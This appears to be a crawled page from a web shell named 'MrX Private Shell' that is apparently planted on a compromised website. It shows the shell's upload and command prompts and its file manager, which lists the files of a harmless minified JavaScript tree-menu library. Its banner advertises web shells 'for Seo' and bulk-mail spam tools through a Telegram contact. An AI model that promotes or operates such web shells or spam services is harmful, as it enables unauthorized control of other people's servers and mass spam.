__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
class pureTreeMenu{constructor(e){if(this.config={containerSelector:".rawmenu",parentSelector:".deeper",indent:!0,iconPrefixClass:"",iconRetractedClass:"",iconExpandedClass:""},void 0!==e){let t=e;for(let i in t)void 0!=t[i]&&(this.config[i]=t[i])}this.init()}init(){let e=this.config.containerSelector;document.querySelectorAll(e).forEach(function(e){this.config.indent||e.classList.add("no-indent"),e.querySelectorAll(this.config.parentSelector).forEach(function(e){let t=document.createElement("a"),i="";""==this.config.iconPrefixClass?i=" no-icon":(i=" "+this.config.iconPrefixClass,e.classList.contains("active")||e.classList.contains("expanded")?this.config.iconExpandedClass&&(i+=" "+this.config.iconExpandedClass):this.config.iconRetractedClass&&(i+=" "+this.config.iconRetractedClass)),t.setAttribute("class","expcol"+i),t.setAttribute("href",""),t.setAttribute("onclick","return false"),e.insertBefore(t,e.firstChild)},this),e.querySelectorAll(this.config.parentSelector+" .expcol").forEach(function(e){this.switcher(e,this.config.iconRetractedClass,this.config.iconExpandedClass)},this),e.querySelectorAll(this.config.parentSelector+' a[href="#"]').forEach(function(e){this.switcher(e,this.config.iconRetractedClass,this.config.iconExpandedClass)},this)},this)}switcher(e,t,i){e.addEventListener("click",function(s){s.preventDefault();let n=e.parentNode;!n.classList.contains("active")&&(n.classList.contains("expanded")?(n.classList.remove("expanded"),t&&e.classList.add(t),i&&e.classList.remove(i)):(n.classList.add("expanded"),i&&e.classList.add(i),t&&e.classList.remove(t)))},this)}}
window.pureTreeMenu=pureTreeMenu;

Filemanager

Name Type Size Permission Actions
license.txt File 34.33 KB 0664
puretreemenu-es5.js File 4.21 KB 0664
puretreemenu-es5.min.js File 2.06 KB 0664
puretreemenu.js File 3.27 KB 0664
puretreemenu.min.js File 1.6 KB 0664
Filemanager